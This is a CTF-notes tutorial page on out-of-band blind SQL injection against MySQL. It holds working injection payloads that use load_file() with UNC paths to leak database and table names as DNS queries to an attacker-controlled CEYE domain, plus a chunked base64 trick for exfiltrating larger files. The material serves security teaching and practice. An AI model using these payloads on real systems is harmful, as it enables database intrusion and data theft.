> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfnote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfnote/web/sql-injection-sqli/out-of-band-oob.md).

# Out-Of-Band (OOB)

## What is Out-Of-Band (OOB)?

Now, suppose that the application carries out the same SQL query, but does it asynchronously. The application continues processing the user's request in the original thread, and uses another thread to execute an SQL query using the tracking cookie. The query is still vulnerable to SQL injection, however none of the techniques described so far will work: the application's response doesn't depend on whether the query returns any data, or on whether a database error occurs, or on the time taken to execute the query.

In this situation, it is often possible to exploit the blind SQL injection vulnerability by triggering out-of-band network interactions to a system that you control. As previously, these can be triggered conditionally, depending on an injected condition, to infer information one bit at a time. But more powerfully, data can be exfiltrated directly within the network interaction itself.

A variety of network protocols can be used for this purpose, but typically the most effective is **DNS**. This is because very many production networks allow free egress of DNS queries, because they are essential for the normal operation of production systems.

## CEYE

We use [CEYE](http://www.ceye.io/) for receiving DNS requests. Once you register an account on the site, go to "Profile -> Identifier" and save the domain name assigned to you in your notebook. Ping the domain to see if it works:

```shell
ping <ceye_domain_name>
```

And you can ping any subdomain and it should work too:

```shell
ping test_dns.<ceye_domain_name>
```

The DNS queries are recorded in "Records -> DNS Query".

### load\_file()

In MySQL, the function `load_file()` is able read the content of local files. Be aware that there is a permission problem. For `load_file()` to work, we have to set `secure_file_priv` to NULL in `/etc/my.conf` (or `my.ini`). Verify if `secure_file_priv` is correctly set to NULL:

```sql
show global variables like "%secure_file_priv%";
```

If the "Value" column is empty, we can do arbitrary read:

```sql
select load_file("/tmp/test.txt") as result;
```

## OOB with load\_file()

Get database name using `load_file()` through UNC path:

```url
?id=1' and select load_file(concat("\\\\", (select database()), ".<ceye_domain_name>\\abc"));--+
```

Here `\\\\` is just escaped `\\`, which is the very beginning of an UNC path. When this payload is executed successfully, CEYE will receive a DNS query `mysql.<ceye_domain_name>`, where `mysql` is the information that we wish to leak from the database.

Get table names:

```url
?id=1' and select load_file(concat("\\\\", (select table_name from information_schema.tables where table_schema='security' limit 0,1), ".<ceye_domain_name>\\abc"));--+
```

## Limitation

A domain name is made of several labels separated by dots (`.`). Each label must be less than 63 characters long. The entire domain name must be less than 253 characters long (including the dots). This fact limits us from reading a large file with OOB.

To circumvent this limitation, we can slice the large file into small chunks and base64 encode each chunk:

```sql
select concat(to_base64(substr(load_file("C:\\path\to\file"), 1, 15)), ".example.com") as result;
```
